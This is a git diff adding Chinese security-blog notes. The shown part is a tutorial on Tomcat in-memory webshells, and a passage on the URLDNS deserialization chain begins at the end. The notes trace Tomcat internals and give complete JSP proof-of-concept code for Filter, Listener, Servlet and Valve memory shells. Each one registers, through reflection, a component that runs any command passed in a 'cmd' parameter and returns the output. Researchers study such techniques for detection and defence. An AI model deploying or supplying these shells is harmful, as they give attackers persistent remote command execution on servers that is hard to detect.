+![](https://changeyourway.github.io/images/image-20240921121214666.png)
+
+这里会判断 Globals.IS\_SECURITY\_ENABLED 安全设置开了没有,开了的话就通过 java.security.AccessController#doPrivileged 方法来调用 internalDoFilter(req,res) ,没开的话就直接调用:
+
+![](https://changeyourway.github.io/images/image-20240921121402920.png)
+
+跟进 ApplicationFilterChain#internalDoFilter(ServletRequest, ServletResponse):
+
+![](https://changeyourway.github.io/images/image-20240921124101078.png)
+
+在这个 filter 数组中获取要调用的 filter 链,再从中获取 filter ,调用它的 doFilter 方法。比如 Filter1.doFilter 调用到这里就获取 Filter2,调用 Filter2.doFilter 。也可以来看一下这个 filter 数组里面存了些什么:
+
+![](https://changeyourway.github.io/images/image-20240921124341982.png)
+
+下标为 0 存的是 Filter1,下标为 1 存的是 Filter2,下标为 2 存的是 WsFilter ,后面就没有了。也就是说理论上调用顺序是:
+
+Filter1.doFilter -> Filter2.doFilter -> WsFilter.doFilter
+
+WsFilter 在 org.apache.tomcat.websocket.server 包中,需要导入依赖:
+
+```
+
+    org.apache.tomcat
+    tomcat-websocket
+    8.5.68
+    provided
+
+```
+
+调试完之后我们来看这个调用栈:
+
+![](https://changeyourway.github.io/images/image-20240921125706538.png)
+
+前面是 tomcat 的一些逻辑,从 Filter1.doFilter 开始,后面就是很规律的调用 ApplicationFilterChain#doFilter(ServletRequest, ServletResponse) 和 ApplicationFilterChain#internalDoFilter(ServletRequest, ServletResponse) 。
+
+而在调用完 WsFilter.doFilter 之后最后一次进入 ApplicationFilterChain#internalDoFilter(ServletRequest, ServletResponse) ,则会调用 servlet.service 方法:
+
+![](https://changeyourway.github.io/images/image-20240921130152514.png)
+
+也就调用到了 doGet 。这就是整个放行前 Filter 链的调用逻辑。
+
+#### Filter 对象的创建
+
+我们的目的是创建一个 Filter 内存马,那么弄清楚 tomcat 是怎样创建 Filter 的就很有必要了。首先来看调用 Filter1.doFilter 之前的调用栈:
+
+![](https://changeyourway.github.io/images/image-20240921152156823.png)
+
+前面都是与进程线程相关的一些调用,不需要关心那么多,我们直接从 StandardEngineValve#invoke(Request, Response) 开始看,往上是各种 invoke 方法的调用,直到最后一个 invoke 。
+
+这里提一嘴 Tomcat 的一个架构:Tomcat 的 Container 包含四种子容器:Engine、Host、Context 和 Wrapper ,可以看出这四种子容器是按照顺序生成的。
+
+看一下最后一个 invoke ,StandardWrapperValve#invoke(Request, Response):
+
+![](https://changeyourway.github.io/images/image-20240921152723846.png)
+
+这里调用 filterChain.doFilter 方法,filterChain 是一个 ApplicationFilterChain 对象,这里的调用链就初见端倪了:
+
+```
+ApplicationFilterChain#doFilter -> ApplicationFilterChain#internalDoFilter -> Filter1.doFilter -> 循环前面的步骤调用 Filter.doFilter
+```
+
+说明在这之前有一个 Filter 数组就已经存好了哪些 Filter 的 doFilter 方法将要被调用。显然是存放在 filterChain 中。
+
+那么关注一下 filterChain 是怎么来的,依然是在 StandardWrapperValve#invoke(Request, Response) 中:
+
+![](https://changeyourway.github.io/images/image-20240921153234706.png)
+
+通过调用 ApplicationFilterFactory.createFilterChain 方法获取了一个 filterChain ,跟进它:
+
+![](https://changeyourway.github.io/images/image-20240921153600827.png)
+
+必须要有 servlet 才能往下走,否则会返回空。首先是创建一个 ApplicationFilterChain 对象,有可能是直接 new ,也有可能从 request 中获取。
+
+接着往下,把 servlet 放进 filterChain 中。从 wrapper 中获取其所属的上级容器,即 Context 。在 Tomcat 中,容器是按层次结构组织的,Wrapper 是表示单个 Servlet,而 Context 表示整个 Web 应用。获取到 StandardContext 对象之后,又从其中获取了一个 FilterMap :
+
+![](https://changeyourway.github.io/images/image-20240921154449749.png)
+
+这个 FilterMaps 很重要,接下来这一步循环遍历 FilterMaps 中的 FilterMap ,根据每个 FilterMap 中的 filterName 属性去 FilterConfigs 中查找对应的 FilterConfig ,最后将 FilterConfig 添加进 filterChain :
+
+![](https://changeyourway.github.io/images/image-20240921155027109.png)
+
+也就是说对每一个 FilterMap ,都要有一个 FilterConfig 与之对应,这样才能找得到。
+
+调试一下会发现这个 FilterMaps 中果然是存着过滤器类名:
+
+![](https://changeyourway.github.io/images/image-20240921155706222.png)
+
+### 攻击思路
+
+如果能修改这个 FilterMaps 和 FilterConfigs 中的值,就能够让服务器执行我们自定义的 Filter 了。如何修改呢?
+
+FilterMaps 是从 StandardContext 中获取的,StandardContext 中可以为 FilterMaps 添加东西的方法有:
+
+```
+addFilterMap(FilterMap filterMap)
+addFilterMapBefore(FilterMap filterMap)
+```
+
+这两个方法的区别在于 addFilterMap 将 filterMap 添加到 FilterMaps 数组的末尾,而 addFilterMapBefore 将 filterMap 添加到 FilterMaps 数组的开头,所以如果想让植入的 Filter 内存马第一个生效,就用 addFilterMapBefore 方法。
+
+![](https://changeyourway.github.io/images/image-20240922113344542.png)
+
+至于上面这两个方法的调用可以在 ApplicationFilterRegistration#addMappingForUrlPatterns 中看到:
+
+![](https://changeyourway.github.io/images/image-20240922150744839.png)
+
+这就告诉我们 filterMap 要怎么创建了。
+
+FilterConfigs 则是在 StandardContext#filterStart 方法中赋值的,这里是调用的 ApplicationFilterConfig 的构造方法创建 filterConfig :
+
+![](https://changeyourway.github.io/images/image-20240922114038724.png)
+
+从这里就引出另一个重要的属性 filterDefs ,FilterConfig 是依靠它来初始化的,所以如果想初始化 FilterConfig ,还需要先将 filterDefs 属性设置好。
+
+filterDefs 在 ApplicationContext#addFilter(String, String, Filter) 中创建,这个方法也是对 ServletContext.addFilter 的一个具体实现:
+
+```
+private FilterRegistration.Dynamic addFilter(String filterName,
+        String filterClass, Filter filter) throws IllegalStateException {
+
+    if (filterName == null || filterName.equals("")) {
+        throw new IllegalArgumentException(sm.getString(
+                "applicationContext.invalidFilterName", filterName));
+    }
+
+    if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
+        //TODO Spec breaking enhancement to ignore this restriction
+        throw new IllegalStateException(
+                sm.getString("applicationContext.addFilter.ise",
+                        getContextPath()));
+    }
+
+    FilterDef filterDef = context.findFilterDef(filterName);
+
+    // Assume a 'complete' FilterRegistration is one that has a class and
+    // a name
+    if (filterDef == null) {
+        filterDef = new FilterDef();
+        filterDef.setFilterName(filterName);
+        context.addFilterDef(filterDef);
+    } else {
+        if (filterDef.getFilterName() != null &&
+                filterDef.getFilterClass() != null) {
+            return null;
+        }
+    }
+
+    if (filter == null) {
+        filterDef.setFilterClass(filterClass);
+    } else {
+        filterDef.setFilterClass(filter.getClass().getName());
+        filterDef.setFilter(filter);
+    }
+
+    return new ApplicationFilterRegistration(filterDef, context);
+}
+```
+
+ApplicationContext 有一个成员属性 context ,是一个 StandardContext 对象:
+
+![](https://changeyourway.github.io/images/image-20240922114756160.png)
+
+上面的 ApplicationContext#addFilter(String, String, Filter) 方法就是调用 context.addFilterDef 来为这个 StandardContext 添加 FilterDef ,并且是添加到了 filterDefs 属性中:
+
+![](https://changeyourway.github.io/images/image-20240922115025761.png)
+
+至此 StandardContext 中三个重要的属性及其赋值过程就梳理好了,就是这三个:
+
+![](https://changeyourway.github.io/images/image-20240922115209655.png)
+
+总结一下:
+
+-   **filterConfigs**
+    
+    -   存储每个 `Filter` 的配置对象(`FilterConfig`),在运行时为每个 `Filter` 提供配置信息。
+        
+    -   StandardContext#filterStart() 中赋值,filterConfig 是通过 ApplicationFilterConfig 的构造方法创建的。
+        
+-   **filterDefs**
+    
+    -   存储每个 `Filter` 的定义(`FilterDef`),记录了 `Filter` 的基本信息,包括类名和初始化参数等。在 Tomcat 启动 Web 应用时,它会通过 `web.xml` 或注解扫描生成 `FilterDef` 对象(其属性对应 xml 配置文件中的标签),然后将这些定义存储在 `filterDefs` 中。当需要实例化一个 `Filter` 时,Tomcat 会根据 `filterDefs` 中的定义,创建相应的 `Filter` 实例。
+        
+    -   ApplicationContext#addFilter(String, String, Filter) 中调用 StandardContext#addFilterDef 赋值。
+        
+-   **filterMaps**
+    
+    -   存储 `Filter` 与 URL 模式或 `Servlet` 名称的映射关系(`FilterMap`),决定哪些请求会被哪些 `Filter` 处理。
+        
+    -   ApplicationFilterRegistration#addMappingForUrlPatterns 调用 StandardContext#addFilterMapBefore(FilterMap filterMap) 赋值。
+        
+
+那么我们要做的事就明确了,获取当前 web 应用的 StandardContext ,将 filterConfigs、filterDefs、filterMaps 设置好,采用反射的方式。
+
+### POC
+
+```
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<%@ page import="java.io.IOException" %>
+<%@ page import="java.lang.reflect.Field" %>
+<%@ page import="org.apache.catalina.core.ApplicationContext" %>
+<%@ page import="org.apache.catalina.core.StandardContext" %>
+<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
+<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
+<%@ page import="java.lang.reflect.Constructor" %>
+<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
+<%@ page import="org.apache.catalina.Context" %>
+<%@ page import="java.util.Map" %>
+<%@ page import="java.io.InputStream" %>
+<%@ page import="java.util.Scanner" %>
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+
+
+<%
+    // 获取 ServletContext
+    ServletContext servletContext = request.getSession().getServletContext();
+    // 获取 ApplicationContext
+    Field appContextField = servletContext.getClass().getDeclaredField("context");
+    appContextField.setAccessible(true);
+    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
+    // 获取 StandardContext
+    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
+    standardContextField.setAccessible(true);
+    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
+%>
+
+<%!
+    // 声明一个自定义 Filter
+    public class Shell_Filter implements Filter {
+        @Override
+        public void init(FilterConfig filterConfig) throws ServletException {
+
+        }
+
+        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+            HttpServletRequest req = (HttpServletRequest) request;
+            if (req.getParameter("cmd") != null) {
+                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
+                Scanner s = new Scanner(in).useDelimiter("\\A");
+                String output = s.hasNext() ? s.next() : "";
+                response.getWriter().write(output);
+                return;
+            }
+            chain.doFilter(request, response);
+        }
+
+        @Override
+        public void destroy() {
+
+        }
+    }
+%>
+
+<%
+    // 设置 filterDefs
+    Shell_Filter filter = new Shell_Filter();
+    String name = "CommonFilter";
+    FilterDef filterDef = new FilterDef();
+    filterDef.setFilter(filter);
+    filterDef.setFilterName(name);
+    filterDef.setFilterClass(filter.getClass().getName());
+    standardContext.addFilterDef(filterDef);
+
+    // 设置 filterMaps
+    FilterMap filterMap = new FilterMap();
+    filterMap.addURLPattern("/*");
+    filterMap.setFilterName(name);
+    filterMap.setDispatcher(DispatcherType.REQUEST.name());
+    standardContext.addFilterMapBefore(filterMap);
+
+    // 获取 filterConfigs 属性
+    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
+    Configs.setAccessible(true);
+    Map filterConfigs = (Map) Configs.get(standardContext);
+
+    // 设置 filterConfig 并放入 filterConfigs 中
+    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
+    constructor.setAccessible(true);
+    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
+    filterConfigs.put(name, filterConfig);
+%>
+```
+
+很多赋值的思路都可以在源代码中看得到的,可以去模仿。比如 StandardContext#filterStart() 中给出了 filterConfigs 的赋值方式,完全是可以去模仿着来给 filterConfigs 赋值的。
+
+一个 web 应用只能有一个 StandardContext ,这里将三个属性设置到 StandardContext 以后,每一次不相同的请求都会重新构建一次 filterChain(多个请求相同的话会复用 filterChain),就会重新调用 ApplicationFilterFactory.createFilterChain 。那么第一次访问完这个 jsp 文件之后,第二次访问任意路由都会调用 ApplicationFilterFactory.createFilterChain ,构建出我们想要的 Filter 链,就成功的将我们自定义的 filter 注入进内存当中了。
+
+所以**第一次访问只是设置属性,第二次访问才是注入,注入点在重新构建 filterChain 这里**。
+
+## Tomcat Listener 内存马
+
+那么根据前面的思路,我们也是想在服务器中动态注册一个自定义的 Listener ,如何做呢?
+
+JavaWeb 提供了8个监听器:
+
+![image-20210823230820586](https://changeyourway.github.io/images/image-20210823230820586.png)
+
+ServletRequestListener 是最适合用来作为内存马的。访问任意资源时都会触发 ServletRequest 的创建和销毁,在客户端每次发起请求时,容器会(例如 Tomcat)创建 ServletRequest 对象,并在请求完成后销毁它,而 ServletRequest 创建和销毁的动作就会触发 ServletRequestListener 监听器,触发 ServletRequestListener#requestInitialized() 方法。
+
+### 源码调试
+
+同理我们来看一下 Listener 是如何被创建的,下面是一个简单的自定义 Listener :
+
+```
+package Listener;
+
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.annotation.WebListener;
+
+@WebListener
+public class MyServletRequestListener implements ServletRequestListener {
+    // 在每次请求创建时调用
+    @Override
+    public void requestInitialized(ServletRequestEvent sre) {
+        System.out.println("ServletRequest created");
+    }
+
+    // 在每次请求销毁时调用
+    @Override
+    public void requestDestroyed(ServletRequestEvent sre) {
+        System.out.println("ServletRequest destroyed");
+    }
+}
+```
+
+#### Listener 的创建
+
+下断点,调试,看调用栈:
+
+![](https://changeyourway.github.io/images/image-20240922160240310.png)
+
+是 StandardContext#fireRequestInitEvent 调用了我的 requestInitialized 方法,跟进它:
+
+![](https://changeyourway.github.io/images/image-20240922160532778.png)
+
+从下往上找这个 listener 是哪来的,最终找到 instances\[\] 数组。这个数组又是通过 getApplicationEventListeners 获取的,跟进一下:
+
+![](https://changeyourway.github.io/images/image-20240922160659666.png)
+
+applicationEventListenersList 是 StandardContext 的一个成员属性,关注一下它是在哪被赋值的:
+
+![](https://changeyourway.github.io/images/image-20240922160832102.png)
+
+有 setApplicationEventListeners 方法和 addApplicationEventListener 方法。添加单个 listener 还是 addApplicationEventListener 用起来更简便一些。
+
+![](https://changeyourway.github.io/images/image-20240922161612183.png)
+
+#### StandardContext 的获取
+
+接下来就是获取 StandardContext 了,往前看一步 StandardHostValve#invoke :
+
+![](https://changeyourway.github.io/images/image-20240922162013693.png)
+
+这里是直接通过 request.getContext() 来获取的,由于 JSP 内置了 request 对象,我们也可以使用同样的方式来获取:
+
+```
+<%
+    Field reqF = request.getClass().getDeclaredField("request");
+    reqF.setAccessible(true);
+    Request req = (Request) reqF.get(request);
+    StandardContext context = (StandardContext) req.getContext();
+%>
+```
+
+另一种获取方式如下:
+
+```
+<%
+	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
+%>
+```
+
+当然也可以像之前 Filter 内存马那样去获取 StandardContext 。
+
+### POC
+
+```
+<%@ page import="org.apache.catalina.core.StandardContext" %>
+<%@ page import="org.apache.catalina.core.ApplicationContext" %>
+<%@ page import="java.lang.reflect.Field" %>
+<%@ page import="java.io.InputStream" %>
+<%@ page import="org.apache.catalina.connector.Request" %>
+<%@ page import="org.apache.catalina.connector.Response" %>
+<%!
+    class ListenerMemShell implements ServletRequestListener {
+
+        @Override
+        public void requestInitialized(ServletRequestEvent sre) {
+            String cmd;
+            try {
+                cmd = sre.getServletRequest().getParameter("cmd");
+                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
+                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
+                requestField.setAccessible(true);
+                Request request = (Request) requestField.get(requestFacade);
+                Response response = request.getResponse();
+
+                if (cmd != null) {
+                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+                    int i = 0;
+                    byte[] bytes = new byte[1024];
+                    while ((i = inputStream.read(bytes)) != -1) {
+                        response.getWriter().write(new String(bytes, 0, i));
+                        response.getWriter().write("\r\n");
+                    }
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+
+        @Override
+        public void requestDestroyed(ServletRequestEvent sre) {
+        }
+    }
+%>
+
+<%
+    ServletContext servletContext = request.getServletContext();
+    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
+    applicationContextField.setAccessible(true);
+    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
+
+    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
+    standardContextField.setAccessible(true);
+    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
+
+    ListenerMemShell listener = new ListenerMemShell();
+    standardContext.addApplicationEventListener(listener);
+%>
+```
+
+## Tomcat Servlet 内存马
+
+动态注册一个自定义的 Servlet 。
+
+### 源码调试
+
+要想在内存中动态注册一个自定义的 Servlet ,同样需要知道 Servlet 是如何创建的。
+
+由于在初始化 Servlet 之前会先初始化 Listener 和 Filter ,为了排除它们的干扰,我先将项目里的 Listener 和 Filter 全部移除,创造一个只有 Servlet 的世界。
+
+要想站在漏洞发现者的角度去看这个问题是挺难的,我们现在直接给出结论:
+
+StandardContext#startInternal() 在 web 容器启动时调用,这其中有两个分支调用,
+
+一是调用 LifecycleBase#fireLifecycleEvent(String, Object),最终调用到 StandardWrapper#setServletClass(String) 完成 Servlet 初始化;
+
+二是调用 StandardContext#loadOnStartup(Container) ,最终调用 StandardWrapper#loadServlet() 完成 Servlet 装载。
+
+#### Servlet 初始化
+
+在 `org.apache.catalina.core.StandardWrapper#setServletClass()` 处下断点调试,调用栈如下:
+
+![](https://changeyourway.github.io/images/image-20240924161027234.png)
+
+往前看一步,看 ContextConfig#configureContext(WebXml):
+
+![](https://changeyourway.github.io/images/image-20240924162357053.png)
+
+这其中有一部分是对 Servlet 的设置,主要是从 web.xml 配置文件读取的。因为我用的是注解配置,所以这个对象里面并没有我自定义的一些 Servlet ,这里边只有一些默认自带的 Servlet ,但是并不影响我们模仿这种方式来注册一个 Servlet 。
+
+用 Wrapper 来封装 Servlet ,最后放进 context 的也是这个 wrapper :
+
+![](https://changeyourway.github.io/images/image-20240924164648465.png)
+
+添加完 wrapper 之后,还要添加一个 ServletMapping 映射,相当于 Servlet 名称与路由的对应:
+
+![](https://changeyourway.github.io/images/image-20240926133429655.png)
+
+以上就是向 Context 中封装 Servlet 的过程,模仿这样的方式向 Context 中封装 Servlet ,也即:
+
+```
+Wrapper wrapper = standardContext.createWrapper();
+wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
+wrapper.setName(servlet.getServletName());
+wrapper.setServletClass(servlet.getServletClass());
+wrapper.setServlet(servlet);
+standardContext.addChild(wrapper);
+standardContext.addServletMappingDecoded("/miaoji", servlet.getServletName());
+```
+
+这里取一些必要的属性去设置就行了。
+
+提一嘴,注解配置的 Servlet 初始化过程是这样的,最终是调用 WebAnnotationSet#loadApplicationServletAnnotations :
+
+![](https://changeyourway.github.io/images/image-20240924171009930.png)
+
+它跟 web.xml 文件配置的分叉点在 ContextConfig#configureStart() 中:
+
+![](https://changeyourway.github.io/images/image-20240924171550636.png)
+
+默认调用 webConfig() 方法从 xml 文件中配置,如果没有设置忽略注解的话,还会调用 applicationAnnotationsConfig() 进行注解配置。
+
+#### Servlet 装载
+
+调用栈如下:
+
+![](https://changeyourway.github.io/images/image-20240926131349206.png)
+
+进入 StandardContext#loadOnStartUp(Container) 看看:
+
+![](https://changeyourway.github.io/images/image-20240924180044910.png)
+
+这个方法通过对 loadOnStartUp 属性的检测,就实现了一个功能:根据 loadOnStartUp 的取值来决定 Servlet 对象什么时候创建:
+
+(1)loadOnStartUp 为负整数,则在第一次访问时创建 Servlet 对象。  
+(2)loadOnStartUp 为 0 或正整数,则在服务器启动时创建 Servlet 对象,数字越小优先级越高。
+
+然后调用 wrapper.load() 来加载:
+
+![](https://changeyourway.github.io/images/image-20240926132057153.png)
+
+我个人觉得 loadOnStartUp 属性倒是无足轻重,无论是什么时候创建 Servlet 对象,只要能创建就行了。设置 loadOnStartUp 为正数的好处在于第一次访问 Servlet 的时候速度更快,因为在服务器启动时已经创建了。
+
+### addServlet 的实现
+
+前面说到要想在内存中动态注册一个自定义的 Servlet ,需要知道 Servlet 是如何创建的。但是一定如此吗?或许我们可以不用知道 Servlet 是如何被创建的,只需要知道 Servlet 要如何动态注册就行了。
+
+ServletContext 类中提供了 addServlet 用来动态注册 Servlet ,而 ServletContext 是个抽象类,关于这个方法的实现在 ApplicationContext 类中。我们来看 ApplicationContext 类的 addServlet 方法:
+
+```
+private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,
+        Servlet servlet, Map initParams) throws IllegalStateException {
+
+    if (servletName == null || servletName.equals("")) {
+        throw new IllegalArgumentException(sm.getString(
+                "applicationContext.invalidServletName", servletName));
+    }
+
+    if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
+        //TODO Spec breaking enhancement to ignore this restriction
+        throw new IllegalStateException(
+                sm.getString("applicationContext.addServlet.ise",
+                        getContextPath()));
+    }
+
+    Wrapper wrapper = (Wrapper) context.findChild(servletName);
+
+    // Assume a 'complete' ServletRegistration is one that has a class and
+    // a name
+    if (wrapper == null) {
+        wrapper = context.createWrapper();
+        wrapper.setName(servletName);
+        context.addChild(wrapper);
+    } else {
+        if (wrapper.getName() != null &&
+                wrapper.getServletClass() != null) {
+            if (wrapper.isOverridable()) {
+                wrapper.setOverridable(false);
+            } else {
+                return null;
+            }
+        }
+    }
+
+    ServletSecurity annotation = null;
+    if (servlet == null) {
+        wrapper.setServletClass(servletClass);
+        Class clazz = Introspection.loadClass(context, servletClass);
+        if (clazz != null) {
+            annotation = clazz.getAnnotation(ServletSecurity.class);
+        }
+    } else {
+        wrapper.setServletClass(servlet.getClass().getName());
+        wrapper.setServlet(servlet);
+        if (context.wasCreatedDynamicServlet(servlet)) {
+            annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
+        }
+    }
+
+    if (initParams != null) {
+        for (Map.Entry initParam: initParams.entrySet()) {
+            wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
+        }
+    }
+
+    ServletRegistration.Dynamic registration =
+            new ApplicationServletRegistration(wrapper, context);
+    if (annotation != null) {
+        registration.setServletSecurity(new ServletSecurityElement(annotation));
+    }
+    return registration;
+}
+```
+
+从中同样可以提取出对于 wrapper 的封装过程。这里返回的是一个 ApplicationServletRegistration 对象,至于 mappings 映射的添加,在 ApplicationServletRegistration 的 addMapping 方法里:
+
+![](https://changeyourway.github.io/images/image-20240926140011667.png)
+
+### POC
+
+下面是利用 jsp 的实现:
+
+```
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<%@ page import="org.apache.catalina.core.ApplicationContext" %>
+<%@ page import="org.apache.catalina.core.StandardContext" %>
+<%@ page import="javax.servlet.*" %>
+<%@ page import="javax.servlet.http.HttpServletRequest" %>
+<%@ page import="java.io.IOException" %>
+<%@ page import="java.lang.reflect.Field" %>
+<%@ page import="org.apache.catalina.Wrapper" %>
+<%@ page import="java.io.InputStream" %>
+<%@ page import="java.util.Scanner" %>
+
+<%
+    class Shell_Servlet implements Servlet{
+
+        @Override
+        public void init(ServletConfig config) throws ServletException {
+
+        }
+
+        @Override
+        public ServletConfig getServletConfig() {
+            return null;
+        }
+
+        @Override
+        public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
+            HttpServletRequest req = (HttpServletRequest) request;
+            if (req.getParameter("cmd") != null) {
+                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
+                Scanner s = new Scanner(in).useDelimiter("\\A");
+                String output = s.hasNext() ? s.next() : "";
+                response.getWriter().write(output);
+            }
+        }
+
+        @Override
+        public String getServletInfo() {
+            return null;
+        }
+
+        @Override
+        public void destroy() {
+
+        }
+    }
+%>
+
+<%
+    ServletContext servletContext =  request.getServletContext();
+    Field appctx = servletContext.getClass().getDeclaredField("context");
+    appctx.setAccessible(true);
+    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
+    Field stdctx = applicationContext.getClass().getDeclaredField("context");
+    stdctx.setAccessible(true);
+    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
+
+    // 更简单的方法 获取StandardContext
+    // Field reqF = request.getClass().getDeclaredField("request");
+    // reqF.setAccessible(true);
+    // Request req = (Request) reqF.get(request);
+    // StandardContext standardContext = (StandardContext) req.getContext();
+
+    Shell_Servlet servlet = new Shell_Servlet();
+    String name = servlet.getClass().getSimpleName();
+    Wrapper wrapper = standardContext.createWrapper();
+    wrapper.setLoadOnStartup(1);
+    wrapper.setName(name);
+    wrapper.setServletClass(servlet.getClass().getName());
+    wrapper.setServlet(servlet);
+    standardContext.addChild(wrapper);
+    standardContext.addServletMappingDecoded("/miaoji", name);
+
+    out.println("Done!");
+%>
+```
+
+## Tomcat Valve 内存马
+
+Tomcat 中,管道(Pipeline)就像一个请求处理的通道,而 Valve 是放在管道中的处理站。每个请求进入 Tomcat 时,会沿着这个管道依次经过各个 Valve,直到最终处理完成。
+
+StandardPipeline 管理着每个容器的基本 valve(Basic Valve):StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve 。
+
+Valve 内存马的思路就是要在内存中动态添加一个自定义的 Valve 。这里就以 StandardEngineValve 为例,关注一下它的定义:
+
+```
+package org.apache.catalina.core;
+
+import java.io.IOException;
+
+import javax.servlet.ServletException;
+
+import org.apache.catalina.Host;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+import org.apache.catalina.valves.ValveBase;
+
+final class StandardEngineValve extends ValveBase {
+
+    //------------------------------------------------------ Constructor
+    public StandardEngineValve() {
+        super(true);
+    }
+
+
+    // --------------------------------------------------------- Public Methods
+
+ @Override
+    public final void invoke(Request request, Response response)
+        throws IOException, ServletException {
+
+        // Select the Host to be used for this Request
+        Host host = request.getHost();
+        if (host == null) {
+            // HTTP 0.9 or HTTP 1.0 request without a host when no default host
+            // is defined.
+            // Don't overwrite an existing error
+            if (!response.isError()) {
+                response.sendError(404);
+            }
+            return;
+        }
+        if (request.isAsyncSupported()) {
+            request.setAsyncSupported(host.getPipeline().isAsyncSupported());
+        }
+
+        // Ask this Host to process this request
+        host.getPipeline().getFirst().invoke(request, response);
+    }
+}
+```
+
+继承了 ValveBase ,实现了 invoke 方法,并且 invoke 方法中能获取到 request 和 response 。
+
+StandardPipeline 的 addValve 方法可以直接添加 valve ,而 StandardContext 的 getPipeline 方法又能直接获取到 StandardPipeline ,所以如何添加 valve 就一目了然了。
+
+### POC
+
+```
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<%@ page import="org.apache.catalina.core.StandardContext" %>
+<%@ page import="javax.servlet.*" %>
+<%@ page import="java.io.IOException" %>
+<%@ page import="java.lang.reflect.Field" %>
+<%@ page import="org.apache.catalina.connector.Request" %>
+<%@ page import="org.apache.catalina.valves.ValveBase" %>
+<%@ page import="org.apache.catalina.connector.Response" %>
+<%@ page import="java.io.InputStream" %>
+<%@ page import="java.util.Scanner" %>
+
+<%
+    class EvilValve extends ValveBase {
+        @Override
+        public void invoke(Request request, Response response) throws IOException, ServletException {
+            HttpServletRequest req = (HttpServletRequest) request;
+            if (req.getParameter("cmd") != null) {
+                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
+                Scanner s = new Scanner(in).useDelimiter("\\A");
+                String output = s.hasNext() ? s.next() : "";
+                response.getWriter().write(output);
+            }
+            // 放行
+            getNext().invoke(request, response);
+        }
+    }
+%>
+<%
+    // 更简单的方法获取 StandardContext
+    Field reqF = request.getClass().getDeclaredField("request");
+    reqF.setAccessible(true);
+    Request req = (Request) reqF.get(request);
+    StandardContext standardContext = (StandardContext) req.getContext();
+    // 添加自定义 valve
+    standardContext.getPipeline().addValve(new EvilValve());
+    out.println("Done!");
+%>
+```
+
+## 参考文章
+
+[Drunkbaby - Java 内存马系列 - 03 - Tomcat 之 Filter 型内存马](https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/)
+
+[枫 - Java 安全学习 —— 内存马](https://goodapple.top/archives/1355)
+
+[Longlone - Tomcat - Servlet 型内存马](https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/)
+
+[su18 - 1.3.8. JavaWeb 内存马基础](https://www.javasec.org/javaweb/MemoryShell/)
diff --git a/books/漏洞篇 - URLDNS 利用链分析.md b/books/漏洞篇 - URLDNS 利用链分析.md
new file mode 100644
index 0000000..3adcb77
--- /dev/null
+++ b/books/漏洞篇 - URLDNS 利用链分析.md	
@@ -0,0 +1,357 @@
+# 漏洞篇 - URLDNS 利用链分析
+> 2024-05-10
+> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-URLDNS%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
+
+本文详尽地讲述了 URLDNS 反序列化利用链的原理
+
+## URLDNS 利用链分析
+
+推荐博客:[JAVA反序列化-ysoserial-URLDNS原理分析](https://xz.aliyun.com/t/9116?time__1311=n4+xuDgD9DyDnDfhx0xxBqDwp0Ytunew+4GQ734D&alichlgref=https://www.google.com/)
+
+URLDNS 反序列化利用链的结果就是发起一次 URL 请求,在 DNS 服务器上留下一条解析记录,常常作为验证漏洞是否存在的手段。
+
+### 原理分析
+
+**具体的利用点在 URL 类的 hashcode 函数中**
+
+在 Java 中,hashCode() 是 Object 类中的一个方法,用于返回一个对象的哈希码(hash code),该哈希码是一个 int 类型的数值,代表了该对象的特定标识符。 哈希码的主要作用是在集合中进行元素的快速查找,比如在 HashMap 和 HashSet 中。
+
